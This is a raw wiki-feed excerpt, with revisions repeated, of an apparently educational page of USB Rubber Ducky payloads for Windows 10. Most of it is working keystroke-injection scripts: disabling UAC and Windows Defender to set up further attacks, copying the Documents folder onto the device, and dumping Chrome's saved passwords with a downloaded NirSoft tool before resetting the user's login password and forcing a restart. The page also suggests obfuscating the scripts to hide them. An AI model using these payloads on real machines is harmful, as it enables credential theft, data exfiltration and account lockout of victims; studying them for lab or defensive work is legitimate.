# Navigate to NirSoft&lt;br /&gt;
$driver.Navigate().GoToUrl(&amp;quot;https://www.nirsoft.net/password_recovery_tools.html&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Ensuring interaction with the main content for consent-button&lt;br /&gt;
$driver.SwitchTo().DefaultContent()&lt;br /&gt;
&lt;br /&gt;
# Locate the consent button by its class and text (&#039;Einwilligen&#039;)&lt;br /&gt;
$button = $driver.FindElementByXPath(&amp;quot;//button[contains(@class, &#039;fc-button fc-cta-consent fc-primary-button&#039;) and contains(., &#039;Einwilligen&#039;)]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Click the button if found&lt;br /&gt;
if ($button -ne $null) {&lt;br /&gt;
    $button.Click()&lt;br /&gt;
    Write-Host &amp;quot;Consent button clicked.&amp;quot;&lt;br /&gt;
} else {&lt;br /&gt;
    Write-Host &amp;quot;No consent needed.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click link&lt;br /&gt;
$link = $driver.FindElementByLinkText(&amp;quot;this download link&amp;quot;)&lt;br /&gt;
$link.Click()&lt;br /&gt;
&lt;br /&gt;
Start-Sleep -Seconds 1&lt;br /&gt;
&lt;br /&gt;
# Switch to the iframe containing the google ad&lt;br /&gt;
try {&lt;br /&gt;
    $iframe = $driver.FindElementById(&amp;quot;aswift_3&amp;quot;)&lt;br /&gt;
    $driver.SwitchTo().Frame($iframe)&lt;br /&gt;
    Write-Host &amp;quot;Switched to the iframe.&amp;quot;&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Iframe not found.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click dismiss-button&lt;br /&gt;
try {&lt;br /&gt;
    $dismissButton = $driver.FindElementByXPath(&amp;quot;//div[@id=&#039;dismiss-button&#039;]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    if ($dismissButton -ne $null -and $dismissButton.Displayed) {&lt;br /&gt;
        $dismissButton.Click()&lt;br /&gt;
        Write-Host &amp;quot;Dismissed clicked&amp;quot;&lt;br /&gt;
    } else {&lt;br /&gt;
        Write-Host &amp;quot;Dismiss button exists but is not visible.&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Ad dismiss button did not appear.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note: Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra notification or password requests.&lt;br /&gt;
&lt;br /&gt;
References for the attack payload:&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky Rubber Ducky Documentation]&lt;br /&gt;
* [https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/execution/Change_the_password_of_the_windows_user Change the password of Windows User Attack]&lt;br /&gt;
* [https://www.nirsoft.net/ Nirsoft password recovery tool]&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Rubber Ducky&lt;br /&gt;
* Windows 10 PC&lt;br /&gt;
* Ubuntu Linux 20.04 Virtual Machine&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky: Firmware Update]]&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://shop.hak5.org/products/usb-rubber-ducky-deluxe&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17109</id>
		<title>USB Rubber Ducky: Payloads</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17109"/>
		<updated>2024-12-15T23:39:16Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
In this documentation we will show you examples for the usage of the USB Rubber Ducky on Windows 10 hosts.&lt;br /&gt;
There are many of ready-made Ducky Scripts found at:&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://github.com/hak5/usbrubberducky-payloads&lt;br /&gt;
wayback: http://web.archive.org/web/20220421035128/https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Article on the basics of the device: [[Hak5 Rubber Ducky]]&lt;br /&gt;
* If you need a different Rubber Ducky Firmware follow this guide: [[USB Rubber Ducky – Firmware Update]].&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference Ducky Script Quick Reference].&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All scripts have a DELAY 3000 at the start which means a delay of 30000ms / 30s to make sure that the target PC has time to set up the HID driver. The delays needed can vary, depending on the target host. The start delay can potentially be reduced to DELAY 1000.&lt;br /&gt;
The scripts could be further improved by adding obfuscation methods to the code. Terminal windows can be changed in colour and size to make them less obvious and much harder to read. USB Rubber Ducky can also be used to play harmless pranks on your colleagues and friends. Just be sure to clue them in beforehand and don’t let them panic.&lt;br /&gt;
&lt;br /&gt;
=== Hello World! ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
Like in all programming languages a basic hello world can be used to get to know the basic functionalities of the system. The following code is used to make a Windows PC open notepad, write “Hello World!” in large letters and save the file to the default directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 2000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING c:\windows\notepad.exe&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
ALT o&lt;br /&gt;
STRING f&lt;br /&gt;
TAB&lt;br /&gt;
TAB&lt;br /&gt;
STRING 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Hello World!&lt;br /&gt;
CTRL s&lt;br /&gt;
STRING totallynotavirus.txt&lt;br /&gt;
ENTER&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disable Windows Defender ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script is used to disable Windows User Account Control first and then disable all functionalities of the Windows Defender. This could be potentially used to prepare for a second stage of a multi-stage attack. It makes heavy use of menu navigation (Arrow keys, Tabs) and the Windows 10 Search menu. The value of the DELAY commands could be further reduced if used on a fast target host. Note that the script leaves no open windows after concluding its actions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
REM Disabling User Account Control&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING uac&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
REM Disabling Windows Defender&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING virus pro&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
ALT F4	&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy Documents Folder to Ducky ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Twin Duck&lt;br /&gt;
&lt;br /&gt;
Before using this script, the USB Rubber Ducky must be updated with the Twin Duck firmware. Using this firmware, the Rubber Ducky acts both as a HID keyboard and a USB storage device. The script uses the Windows &#039;&#039;Run&#039;&#039; application to open the &#039;&#039;Documents&#039;&#039; directory and copies all its contents to the storage portion of the Ducky. Note that this script assumes that the storage device will be assigned the drive letter D and must be adjusted if reconnaissance shows another letter would be more likely. The script ends with locking the screen to better hide the copying process.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 300&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 100&lt;br /&gt;
STRING documents&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL a&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL c&lt;br /&gt;
DELAY 100&lt;br /&gt;
ALT F4&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 300&lt;br /&gt;
STRING d:\&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL v&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI D&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI l&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fake Update Screen ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script launches a website that fakes the Windows update screen in the systems default internet browser and sets it to Fullscreen mode. It can’t be easily exited by hitting the Escape-key and hitting the Enter-key results in a fake bluescreen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING https://www.fakeupdate.net/win10ue/&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
F11&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Maximum Volume Autoplay Audio ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script showcases how Ducky Script can use the console to create Visual Basic Script files (*.vbs) that can be used to create endless loops of code. It uses the command &amp;lt;code&amp;gt;copy con&amp;lt;/code&amp;gt; to create two script files. The first script file is used to create a Windows Media Player object to play a sound file from start to finish from a provided online source. The second script creates a Windows Script Host Shell object that gives the “Volume Up”-command in an endless loop. The only way to end these scripts is by using the task manager or by restarting the system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cmd&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING del %tmp%\rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING del %tmp%\volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cd %tmp% &amp;amp;&amp;amp; copy con rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While true&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Dim oPlayer&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set oPlayer = CreateObject(&amp;quot;WMPlayer.OCX&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.URL = &amp;quot;http://tinyurl.com/s63ve48&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.controls.play&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While oPlayer.playState &amp;lt;&amp;gt; 1 &#039; 1 = Stopped&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WScript.Sleep 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.close&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING copy con volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING do&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set WshShell = CreateObject(&amp;quot;WScript.Shell&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WshShell.SendKeys(chr(&amp;amp;hAF))&lt;br /&gt;
ENTER&lt;br /&gt;
STRING loop&lt;br /&gt;
ENTER&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING start rickyou.vbs &amp;amp;&amp;amp; volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chrome browser data exfiltration and changing the machine’s local users password ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
In this demo the USB Rubber Ducky targets a Windows 10 host, that has a local user with administrative rights.&lt;br /&gt;
In a first step it graps the passwords stored in the Chrome browser’s password manager and outputs it in plaintext in a text file, stored on the local host machine’s download folder. In the second step it changes the host machine’s local user login password and restarts the computer.&lt;br /&gt;
&lt;br /&gt;
The attack exploits a password recovery tool. It downloads, installs and excecutes it. The file &lt;br /&gt;
is protected against a direct downlad via link and with the necessity for credential inputs when downloading and extracting it. The selenium script imitates an actual user, clicking on the link in order to achieve the download, and subsequently navigating through cookies consentment and random and different add pop-ups, before the credential input can be handeled. Another challenge was that the ads disappeared when recogizing that development was opened.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Target Host:&#039;&#039;&#039;&lt;br /&gt;
* OS: Windows 10&lt;br /&gt;
* Software: Chrome browser&lt;br /&gt;
* Local user with administrative rights&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Pre-installations and setup:&#039;&#039;&#039;&lt;br /&gt;
* For automated browser navigation: [https://www.selenium.dev/ Selenium]&lt;br /&gt;
* Selenium script file on the host&lt;br /&gt;
* [https://developer.chrome.com/docs/chromedriver/downloads?hl=de Chromedriver], according to the Chrome browser version on the target host&lt;br /&gt;
* For file extraction: [https://www.7-zip.org/ 7-zip]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
REM Chrome browser user passwords exfiltration and local user&#039;s password change&lt;br /&gt;
REM 1. Part: Chrome browser user passwords exfiltration&lt;br /&gt;
&lt;br /&gt;
REM Open PowerShell and executing the selenium script&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING powershell -ExecutionPolicy Bypass -File path\to\browsernavigation.ps1&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 20000&lt;br /&gt;
STRING download&lt;br /&gt;
TAB&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 8000&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING powershell&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Get the current user&#039;s Downloads folder path&lt;br /&gt;
STRING $DownloadsPath = [System.Environment]::GetFolderPath(&#039;MyDocuments&#039;).Replace(&#039;Documents&#039;, &#039;Downloads&#039;)&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
&lt;br /&gt;
REM Unzip ChromePass file&lt;br /&gt;
STRING &amp;amp; &amp;quot;pathto\7-Zip\7z.exe&amp;quot; x &amp;quot;$DownloadsPath\passreccommandline.zip&amp;quot; -o&amp;quot;$DownloadsPath&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Execute ChromePassCLI and save the extracted passwords in the Downloads folder&lt;br /&gt;
STRING Start-Process -FilePath &amp;quot;$DownloadsPath\WebBrowserPassView.exe&amp;quot; -ArgumentList &amp;quot;/stext $DownloadsPath\chrome_passwords.txt&amp;quot; -NoNewWindow -Wait&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 3000&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
REM 2. Part: Change the password of the Windows user&lt;br /&gt;
DEFINE #NEW_PASSWORD newpassword&lt;br /&gt;
&lt;br /&gt;
REM Execute Powershell with administrative rights&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI x&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING a&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFTARROW&lt;br /&gt;
DELAY 500&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
STRING net user $env:USERNAME #NEW_PASSWORD&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 2000&lt;br /&gt;
&lt;br /&gt;
STRING Restart-Computer -Force&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selenium script: browsernavigation.ps1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Load Selenium Modul&lt;br /&gt;
Import-Module Selenium&lt;br /&gt;
&lt;br /&gt;
# Start Driver&lt;br /&gt;
$chromePath = &amp;quot;C:\Program Files\Google\Chrome\Application\chrome.exe&amp;quot; &lt;br /&gt;
&lt;br /&gt;
# Set up Chrome options&lt;br /&gt;
$chromeOptions = New-Object OpenQA.Selenium.Chrome.ChromeOptions&lt;br /&gt;
$chromeOptions.BinaryLocation = $chromePath&lt;br /&gt;
&lt;br /&gt;
# Define path to new ChromeDriver&lt;br /&gt;
$chromeDriverPath = &amp;quot;C:\Users\User\Downloads\chromedriver-win64\chromedriver-win64&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Set up ChromeDriverService to use updated ChromeDriver&lt;br /&gt;
$service = [OpenQA.Selenium.Chrome.ChromeDriverService]::CreateDefaultService($chromeDriverPath)&lt;br /&gt;
&lt;br /&gt;
# Start ChromeDriver&lt;br /&gt;
$driver = New-Object OpenQA.Selenium.Chrome.ChromeDriver($service, $chromeOptions)&lt;br /&gt;
&lt;br /&gt;
# Navigate to NirSoft&lt;br /&gt;
$driver.Navigate().GoToUrl(&amp;quot;https://www.nirsoft.net/password_recovery_tools.html&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Ensuring interaction with the main content for consent-button&lt;br /&gt;
$driver.SwitchTo().DefaultContent()&lt;br /&gt;
&lt;br /&gt;
# Locate the consent button by its class and text (&#039;Einwilligen&#039;)&lt;br /&gt;
$button = $driver.FindElementByXPath(&amp;quot;//button[contains(@class, &#039;fc-button fc-cta-consent fc-primary-button&#039;) and contains(., &#039;Einwilligen&#039;)]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Click the button if found&lt;br /&gt;
if ($button -ne $null) {&lt;br /&gt;
    $button.Click()&lt;br /&gt;
    Write-Host &amp;quot;Consent button clicked.&amp;quot;&lt;br /&gt;
} else {&lt;br /&gt;
    Write-Host &amp;quot;No consent needed.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click link&lt;br /&gt;
$link = $driver.FindElementByLinkText(&amp;quot;this download link&amp;quot;)&lt;br /&gt;
$link.Click()&lt;br /&gt;
&lt;br /&gt;
Start-Sleep -Seconds 1&lt;br /&gt;
&lt;br /&gt;
# Switch to the iframe containing the google ad&lt;br /&gt;
try {&lt;br /&gt;
    $iframe = $driver.FindElementById(&amp;quot;aswift_3&amp;quot;)&lt;br /&gt;
    $driver.SwitchTo().Frame($iframe)&lt;br /&gt;
    Write-Host &amp;quot;Switched to the iframe.&amp;quot;&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Iframe not found.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click dismiss-button&lt;br /&gt;
try {&lt;br /&gt;
    $dismissButton = $driver.FindElementByXPath(&amp;quot;//div[@id=&#039;dismiss-button&#039;]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    if ($dismissButton -ne $null -and $dismissButton.Displayed) {&lt;br /&gt;
        $dismissButton.Click()&lt;br /&gt;
        Write-Host &amp;quot;Dismissed clicked&amp;quot;&lt;br /&gt;
    } else {&lt;br /&gt;
        Write-Host &amp;quot;Dismiss button exists but is not visible.&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Ad dismiss button did not appear.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note: Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra notification or password requests.&lt;br /&gt;
&lt;br /&gt;
References for the attack payload:&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky Rubber Ducky Documentation]&lt;br /&gt;
* [https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/execution/Change_the_password_of_the_windows_user Change the password of Windows User Attack]&lt;br /&gt;
* [https://www.nirsoft.net/ Nirsoft password recovery tool]&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Rubber Ducky&lt;br /&gt;
* Windows 10 PC&lt;br /&gt;
* Ubuntu Linux 20.04 Virtual Machine&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky: Firmware Update]]&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://shop.hak5.org/products/usb-rubber-ducky-deluxe&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17108</id>
		<title>USB Rubber Ducky: Payloads</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17108"/>
		<updated>2024-12-15T23:38:56Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
In this documentation we will show you examples for the usage of the USB Rubber Ducky on Windows 10 hosts.&lt;br /&gt;
There are many of ready-made Ducky Scripts found at:&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://github.com/hak5/usbrubberducky-payloads&lt;br /&gt;
wayback: http://web.archive.org/web/20220421035128/https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Article on the basics of the device: [[Hak5 Rubber Ducky]]&lt;br /&gt;
* If you need a different Rubber Ducky Firmware follow this guide: [[USB Rubber Ducky – Firmware Update]].&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference Ducky Script Quick Reference].&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All scripts have a DELAY 3000 at the start which means a delay of 30000ms / 30s to make sure that the target PC has time to set up the HID driver. The delays needed can vary, depending on the target host. The start delay can potentially be reduced to DELAY 1000.&lt;br /&gt;
The scripts could be further improved by adding obfuscation methods to the code. Terminal windows can be changed in colour and size to make them less obvious and much harder to read. USB Rubber Ducky can also be used to play harmless pranks on your colleagues and friends. Just be sure to clue them in beforehand and don’t let them panic.&lt;br /&gt;
&lt;br /&gt;
=== Hello World! ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
Like in all programming languages a basic hello world can be used to get to know the basic functionalities of the system. The following code is used to make a Windows PC open notepad, write “Hello World!” in large letters and save the file to the default directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 2000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING c:\windows\notepad.exe&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
ALT o&lt;br /&gt;
STRING f&lt;br /&gt;
TAB&lt;br /&gt;
TAB&lt;br /&gt;
STRING 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Hello World!&lt;br /&gt;
CTRL s&lt;br /&gt;
STRING totallynotavirus.txt&lt;br /&gt;
ENTER&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disable Windows Defender ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script is used to disable Windows User Account Control first and then disable all functionalities of the Windows Defender. This could be potentially used to prepare for a second stage of a multi-stage attack. It makes heavy use of menu navigation (Arrow keys, Tabs) and the Windows 10 Search menu. The value of the DELAY commands could be further reduced if used on a fast target host. Note that the script leaves no open windows after concluding its actions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
REM Disabling User Account Control&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING uac&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
REM Disabling Windows Defender&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING virus pro&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
ALT F4	&lt;br /&gt;
